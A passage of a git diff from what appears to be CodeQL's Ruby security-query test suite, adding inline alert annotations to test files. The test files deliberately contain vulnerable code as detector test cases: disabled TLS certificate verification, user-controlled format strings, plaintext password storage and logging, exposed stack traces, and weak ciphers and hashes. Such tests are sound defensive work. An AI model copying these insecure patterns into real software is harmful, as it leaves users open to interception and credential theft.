BAD str1 = Kernel.sprintf(params[:format]) # GOOD str2 = sprintf(params[:format]) # GOOD stdout = IO.new 1 - stdout.printf(params[:format], arg) # BAD + stdout.printf(params[:format], arg) # $ Alert // BAD stdout.printf(params[:format]) # GOOD # Taint via string concatenation - printf("A log message: " + params[:format], arg) # BAD + printf("A log message: " + params[:format], arg) # $ Alert // BAD # Taint via string interpolation - printf("A log message: #{params[:format]}", arg) # BAD + printf("A log message: #{params[:format]}", arg) # $ Alert // BAD # Using String# - "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD + "A log message #{params[:format]} %{foo}" % {foo: "foo"} # $ Alert // BAD # String# with an array - "A log message #{params[:format]} %08x" % ["foo"] # BAD + "A log message #{params[:format]} %08x" % ["foo"] # $ Alert // BAD end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref index c110f2b1765..ebd3ae1cee1 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref @@ -1 +1,2 @@ -queries/security/cwe-209/StackTraceExposure.ql \ No newline at end of file +query: queries/security/cwe-209/StackTraceExposure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb index dcdf5c1f22c..19e0c7972cf 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb @@ -3,19 +3,19 @@ class FooController < ApplicationController def show something_that_might_fail() rescue => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end def show2 - bt = caller() - render body: bt, content_type: "text/plain" + bt = caller() # $ Source + render body: bt, content_type: "text/plain" # $ Alert end def show3 not_a_method() rescue NoMethodError => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb index 8bdabc31cf2..08b754f380c 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb @@ -3,31 +3,31 @@ require "excon" def method1 # BAD Excon.defaults[:ssl_verify_peer] = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method2 # BAD Excon.ssl_verify_peer = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method3(secure) # BAD Excon.defaults[:ssl_verify_peer] = (secure ? true : false) - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method4 # BAD conn = Excon::Connection.new("http://example.com/", ssl_verify_peer: false) - conn.get + conn.get # $ Alert end def method5 # BAD Excon.ssl_verify_peer = true - Excon.new("http://example.com/", ssl_verify_peer: false).get + Excon.new("http://example.com/", ssl_verify_peer: false).get # $ Alert end def method6 @@ -65,4 +65,4 @@ def method10 # GOOD connection = Excon.new("foo") connection.get("bar") -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb index 6c12db2c9e6..1e298b82aeb 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb @@ -2,11 +2,11 @@ require "faraday" # BAD connection = Faraday.new("http://example.com", ssl: { verify: false }) -response = connection.get("/") +response = connection.get("/") # $ Alert # BAD connection = Faraday.new("http://example.com", ssl: { verify_mode: OpenSSL::SSL::VERIFY_NONE }) -response = connection.get("/") +response = connection.get("/") # $ Alert # GOOD connection = Faraday.new("http://example.com") @@ -32,7 +32,7 @@ response = connection.get("/") def verify_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_as_arg("http://example.com", "/", false) @@ -41,7 +41,7 @@ verify_as_arg("http://example.com", "/", false) def verify_mode_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify_mode: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_mode_as_arg("http://example.com", "/", OpenSSL::SSL::VERIFY_NONE) diff --git a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb index 902950e5be9..01a96461a46 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb @@ -3,7 +3,7 @@ require "httpclient" # BAD client = HTTPClient.new client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE -client.get("https://example.com") +client.get("https://example.com") # $ Alert # GOOD client = HTTPClient.new @@ -15,4 +15,4 @@ client = HTTPClient.new client.get("https://example.com") # GOOD -HTTPClient.get("https://example.com/") \ No newline at end of file +HTTPClient.get("https://example.com/") diff --git a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb index 562cbbc1f43..8030e9e119c 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb @@ -1,19 +1,19 @@ require "httparty" # BAD -HTTParty.get("http://example.com/", verify: false) +HTTParty.get("http://example.com/", verify: false) # $ Alert # BAD -HTTParty.get("http://example.com/", verify_peer: false) +HTTParty.get("http://example.com/", verify_peer: false) # $ Alert # BAD -HTTParty.get("http://example.com/", { verify_peer: false }) +HTTParty.get("http://example.com/", { verify_peer: false }) # $ Alert # BAD -HTTParty.post("http://example.com/", body: "some_data", verify: false) +HTTParty.post("http://example.com/", body: "some_data", verify: false) # $ Alert # BAD -HTTParty.post("http://example.com/", { body: "some_data", verify: false }) +HTTParty.post("http://example.com/", { body: "some_data", verify: false }) # $ Alert # GOOD HTTParty.get("http://example.com/") @@ -34,4 +34,4 @@ HTTParty.post("http://example.com/", body: "some_data", verify: true) HTTParty.post("http://example.com/", { body: "some_data" }) # GOOD -HTTParty.post("http://example.com/", { body: "some_data", verify: true }) \ No newline at end of file +HTTParty.post("http://example.com/", { body: "some_data", verify: true }) diff --git a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb index 9269eeae531..7915e8b80d6 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb @@ -6,5 +6,5 @@ http = Net::HTTP.new uri.host, uri.port http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE request = Net::HTTP::Get.new uri.request_uri -response = http.request request +response = http.request request # $ Alert puts response.body diff --git a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb index a825791c823..ae9698f2f68 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb @@ -1,24 +1,24 @@ require "open-uri" # BAD -Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -Kernel.open("https://example.com", options) +Kernel.open("https://example.com", options) # $ Alert # BAD -URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -URI.parse("https://example.com").open(options) +URI.parse("https://example.com").open(options) # $ Alert # GOOD Kernel.open("https://example.com") @@ -44,4 +44,4 @@ URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_PE # GOOD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_PEER } -URI.parse("https://example.com").open(options) \ No newline at end of file +URI.parse("https://example.com").open(options) diff --git a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref index e2caf232ddb..22b77bdb4b0 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref +++ b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref @@ -1 +1,2 @@ -queries/security/cwe-295/RequestWithoutValidation.ql \ No newline at end of file +query: queries/security/cwe-295/RequestWithoutValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb index a180ac0d74c..91160728823 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb @@ -2,21 +2,21 @@ require "rest-client" # BAD resource = RestClient::Resource.new("https://example.com", verify_ssl: OpenSSL::SSL::VERIFY_NONE) -response = resource.get +response = resource.get # $ Alert # BAD resource = RestClient::Resource.new("https://example.com", { verify_ssl: OpenSSL::SSL::VERIFY_NONE }) -response = resource.get +response = resource.get # $ Alert # BAD options = { verify_ssl: OpenSSL::SSL::VERIFY_NONE } resource = RestClient::Resource.new("https://example.com", options) -response = resource.get +response = resource.get # $ Alert # BAD value = OpenSSL::SSL::VERIFY_NONE resource = RestClient::Resource.new("https://example.com", verify_ssl: value) -response = resource.get +response = resource.get # $ Alert # GOOD RestClient.get("https://example.com") diff --git a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb index aed601cf888..af88218d1bc 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Typhoeus.rb @@ -1,11 +1,11 @@ require "typhoeus" # BAD -Typhoeus.get("https://www.example.com", ssl_verifypeer: false) +Typhoeus.get("https://www.example.com", ssl_verifypeer: false) # $ Alert # BAD post_options = { body: "some data", ssl_verifypeer: false } -Typhoeus.post("https://www.example.com", post_options) +Typhoeus.post("https://www.example.com", post_options) # $ Alert # GOOD -Typhoeus.get("https://www.example.com") \ No newline at end of file +Typhoeus.get("https://www.example.com") diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref index 4a8ed809dfc..eb4d8d767b3 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextLogging.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextLogging.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextLogging.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref index 051d588b701..903a20fe574 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref +++ b/ruby/ql/test/query-tests/security/cwe-312/CleartextStorage.qlref @@ -1 +1,2 @@ -queries/security/cwe-312/CleartextStorage.ql \ No newline at end of file +query: queries/security/cwe-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb index 806b5109665..ae277596cfe 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/controllers/users_controller.rb @@ -1,47 +1,47 @@ class UsersController < ApplicationController def createLikeCall - new_password = "043697b96909e03ca907599d6420555f" + new_password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create(name: "U1", password: new_password) + User.create(name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.create({ name: "U1", password: new_password }) + User.create({ name: "U1", password: new_password }) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeClassMethodCall - new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" + new_password = "083c9e1da4cc0c2f5480bb4dbe6ff141" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update(1, name: "U1", password: new_password) + User.update(1, name: "U1", password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.update([1, 2], [{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def insertAllLikeCall - new_password = "504d224a806cf8073cd14ef08242d422" + new_password = "504d224a806cf8073cd14ef08242d422" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) + User.insert_all([{name: "U1", password: new_password}, {name: "U2", password: new_password}]) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateLikeInstanceMethodCall user = User.find(1) - new_password = "7d6ae08394c3f284506dca70f05995f6" + new_password = "7d6ae08394c3f284506dca70f05995f6" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update(password: new_password) + user.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update({password: new_password}) + user.update({password: new_password}) # $ Alert[rb/clear-text-storage-sensitive-data] end def updateAttributeCall user = User.find(1) - new_password = "ff295f8648a406c37fbe378377320e4c" + new_password = "ff295f8648a406c37fbe378377320e4c" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to database - user.update_attribute("password", new_password) + user.update_attribute("password", new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def assignAttributeCall user = User.find(1) - new_password = "78ffbec583b546bd073efd898f833184" + new_password = "78ffbec583b546bd073efd898f833184" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password assigned to database field - user.password = new_password + user.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] user.save end @@ -55,13 +55,13 @@ class UsersController < ApplicationController end def fileWrites - new_password = "0157af7c38cbdd24f1616de4e5321861" + new_password = "0157af7c38cbdd24f1616de4e5321861" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - IO.write("foo.txt", "password: #{new_password}\n") + IO.write("foo.txt", "password: #{new_password}\n") # $ Alert[rb/clear-text-storage-sensitive-data] # BAD: plaintext password stored to disk - File.new("bar.txt", "a").puts("password: #{new_password}") + File.new("bar.txt", "a").puts("password: #{new_password}") # $ Alert[rb/clear-text-storage-sensitive-data] end def randomPasswordAssign @@ -76,15 +76,15 @@ class UsersController < ApplicationController info = [ { name: "U1", - password: "aaaaaaaaaa", - credit_card_number: "0000-0000-0000-0000", - SSN: "000-00-00000" + password: "aaaaaaaaaa", # $ Source[rb/clear-text-storage-sensitive-data] + credit_card_number: "0000-0000-0000-0000", # $ Source[rb/clear-text-storage-sensitive-data] + SSN: "000-00-00000" # $ Source[rb/clear-text-storage-sensitive-data] }, - {name: "U2", password: "bbbbbbb"} + {name: "U2", password: "bbbbbbb"} # $ Source[rb/clear-text-storage-sensitive-data] ] info.each do |inf| # BAD: Plaintext password, SSN, and CCN stored to database. - User.create!(inf) + User.create!(inf) # $ Alert[rb/clear-text-storage-sensitive-data] end end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb index 09d1866424a..7b5943e641c 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/app/models/user.rb @@ -1,20 +1,20 @@ class User < ActiveRecord::Base def set_password_1 - new_password = "06c38c6a8a9c11a9d3b209a3193047b4" + new_password = "06c38c6a8a9c11a9d3b209a3193047b4" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - self.update(password: new_password) + self.update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_2 - new_password = "52652fb5c709fb6b9b5a0194af7c6067" + new_password = "52652fb5c709fb6b9b5a0194af7c6067" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly storing a potential cleartext password to a field - update(password: new_password) + update(password: new_password) # $ Alert[rb/clear-text-storage-sensitive-data] end def set_password_3 - new_password = "f982bf2531c149a8a1444a951b12e830" + new_password = "f982bf2531c149a8a1444a951b12e830" # $ Source[rb/clear-text-storage-sensitive-data] # BAD: directly assigning a potential cleartext password to a field - self.password = new_password + self.password = new_password # $ Alert[rb/clear-text-storage-sensitive-data] self.save end end diff --git a/ruby/ql/test/query-tests/security/cwe-312/logging.rb b/ruby/ql/test/query-tests/security/cwe-312/logging.rb index 26b148f33c2..03b21b3625c 100644 --- a/ruby/ql/test/query-tests/security/cwe-312/logging.rb +++ b/ruby/ql/test/query-tests/security/cwe-312/logging.rb @@ -1,45 +1,45 @@ stdout_logger = Logger.new STDOUT -password = "043697b96909e03ca907599d6420555f" +password = "043697b96909e03ca907599d6420555f" # $ Source[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info password +stdout_logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.debug password +stdout_logger.debug password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.error password +stdout_logger.error password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.fatal password +stdout_logger.fatal password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.unknown password +stdout_logger.unknown password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.warn password +stdout_logger.warn password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, password +stdout_logger.add Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.add Logger::WARN, "message", password +stdout_logger.add Logger::WARN, "message", password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.log Logger::WARN, password +stdout_logger.log Logger::WARN, password # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger << "pw: #{password}" +stdout_logger << "pw: #{password}" # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: sensitive data in the progname will taint subsequent logging calls -stdout_logger.progname = password +stdout_logger.progname = password # $ Alert[rb/clear-text-logging-sensitive-data] -hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } +hsh1 = { password: "aec5058e61f7f122998b1a30ee2c66b6" } # $ Source[rb/clear-text-logging-sensitive-data] hsh2 = {} # GOOD: no backwards flow stdout_logger.info hsh2[:password] -hsh2[:password] = "beeda625d7306b45784d91ea0336e201" +hsh2[:password] = "beeda625d7306b45784d91ea0336e201" # $ Source[rb/clear-text-logging-sensitive-data] hsh3 = hsh2 # BAD: password logged as plaintext -stdout_logger.info hsh1[:password] +stdout_logger.info hsh1[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh2[:password] +stdout_logger.info hsh2[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password logged as plaintext -stdout_logger.info hsh3[:password] +stdout_logger.info hsh3[:password] # $ Alert[rb/clear-text-logging-sensitive-data] # GOOD: not a password stdout_logger.info hsh1[:foo] @@ -61,30 +61,30 @@ stdout_logger.info password_masked_sub_ex # GOOD: password is effectively masked before logging stdout_logger.info password_masked_gsub_ex -password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" -password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" -password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") +password_masked_ineffective_sub = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub_ex = "ca497451f5e883662fb1a37bc9ec7838" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_gsub_ex = "a7e3747b19930d4f4b8181047194832f" # $ Source[rb/clear-text-logging-sensitive-data] +password_masked_ineffective_sub = password_masked_ineffective_sub.sub(/./, "[password]") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_sub_ex.sub!(/./, "[password]") -password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") +password_masked_ineffective_gsub = password_masked_ineffective_gsub.gsub(/[A-Z]/, "*") # $ Source[rb/clear-text-logging-sensitive-data] password_masked_ineffective_gsub_ex.gsub!(/[A-Z]/, "*") # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub +stdout_logger.info password_masked_ineffective_sub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub +stdout_logger.info password_masked_ineffective_gsub # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_sub_ex +stdout_logger.info password_masked_ineffective_sub_ex # $ Alert[rb/clear-text-logging-sensitive-data] # BAD: password masked ineffectively -stdout_logger.info password_masked_ineffective_gsub_ex +stdout_logger.info password_masked_ineffective_gsub_ex # $ Alert[rb/clear-text-logging-sensitive-data] def foo(password, logger) # BAD: password logged as plaintext - logger.info password + logger.info password # $ Alert[rb/clear-text-logging-sensitive-data] end -password_arg = "65f2950df2f0e2c38d7ba2ccca767291" +password_arg = "65f2950df2f0e2c38d7ba2ccca767291" # $ Source[rb/clear-text-logging-sensitive-data] foo(password_arg, stdout_logger) foo("65f2950df2f0e2c38d7ba2ccca767292", stdout_logger) diff --git a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref index e1c31fb2d58..92b721c8549 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/BrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/BrokenCryptoAlgorithm.ql \ No newline at end of file +query: queries/security/cwe-327/BrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref index dcb5a4e62a7..b4891bf7bca 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref +++ b/ruby/ql/test/query-tests/security/cwe-327/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -queries/security/cwe-327/WeakSensitiveDataHashing.ql \ No newline at end of file +query: queries/security/cwe-327/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb index 69dcd6b472b..84997f6a2d4 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/broken_crypto.rb @@ -1,19 +1,19 @@ require 'openssl' # BAD: creating a cipher using a weak scheme -weak = OpenSSL::Cipher.new('des3') +weak = OpenSSL::Cipher.new('des3') # $ Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak cipher -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # BAD: creating a cipher using a weak block mode -weak = OpenSSL::Cipher::AES.new(128, 'ecb') +weak = OpenSSL::Cipher::AES.new(128, 'ecb') # $ Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak block mode -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # GOOD: creating a cipher using a strong scheme @@ -25,7 +25,7 @@ strong.update('bar') strong.final # BAD: weak block mode -OpenSSL::Cipher::AES.new(128, :ecb) +OpenSSL::Cipher::AES.new(128, :ecb) # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES.new(128, 'cbc') # GOOD: strong encryption algorithm @@ -34,49 +34,49 @@ OpenSSL::Cipher::AES.new('128-cbc') # GOOD: strong encryption algorithm OpenSSL::Cipher::AES128.new # BAD: weak block mode -OpenSSL::Cipher::AES128.new 'ecb' +OpenSSL::Cipher::AES128.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES192.new # BAD: weak block mode -OpenSSL::Cipher::AES192.new 'ecb' +OpenSSL::Cipher::AES192.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES256.new # BAD: weak block mode -OpenSSL::Cipher::AES256.new 'ecb' +OpenSSL::Cipher::AES256.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::BF.new # BAD: weak block mode -OpenSSL::Cipher::BF.new 'ecb' +OpenSSL::Cipher::BF.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::CAST5.new # BAD: weak block mode -OpenSSL::Cipher::CAST5.new 'ecb' +OpenSSL::Cipher::CAST5.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new +OpenSSL::Cipher::DES.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new 'cbc' +OpenSSL::Cipher::DES.new 'cbc' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::IDEA.new # BAD: weak block mode -OpenSSL::Cipher::IDEA.new 'ecb' +OpenSSL::Cipher::IDEA.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new +OpenSSL::Cipher::RC2.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new 'ecb' +OpenSSL::Cipher::RC2.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new +OpenSSL::Cipher::RC4.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new '40' +OpenSSL::Cipher::RC4.new '40' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new 'hmac-md5' +OpenSSL::Cipher::RC4.new 'hmac-md5' # $ Alert[rb/weak-cryptographic-algorithm] Digest::MD5.hexdigest('foo') # OK: don't report hash algorithm even if it is weak Digest::SHA256.hexdigest('foo') # GOOD: strong hash algorithm @@ -104,4 +104,4 @@ sha1.digest 'message' # OK: don't report hash algorithm even if it is weak sha1 << 'message' # << is an alias for update OpenSSL::Digest.digest('SHA1', "abc") # OK: don't report hash algorithm even if it is weak -OpenSSL::Digest.digest('SHA3-512', "abc") # GOOD: strong hash algorithm \ No newline at end of file +OpenSSL::Digest.digest('SHA3-512', "abc") # GOOD: strong hash algorithm diff --git a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb index cff4263c40d..13295950b0b 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb @@ -1,16 +1,16 @@ require 'openssl' -password = "abcde" -username = "some_user" +password = "abcde" # $ Source[rb/weak-sensitive-data-hashing] +username = "some_user" # $ Source[rb/weak-sensitive-data-hashing] some_data = "foo" x = password Digest::MD5.hexdigest(some_data) # OK: input is not sensitive Digest::SHA256.hexdigest(password) # OK: strong hash algorithm -Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data -OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(password) # $ 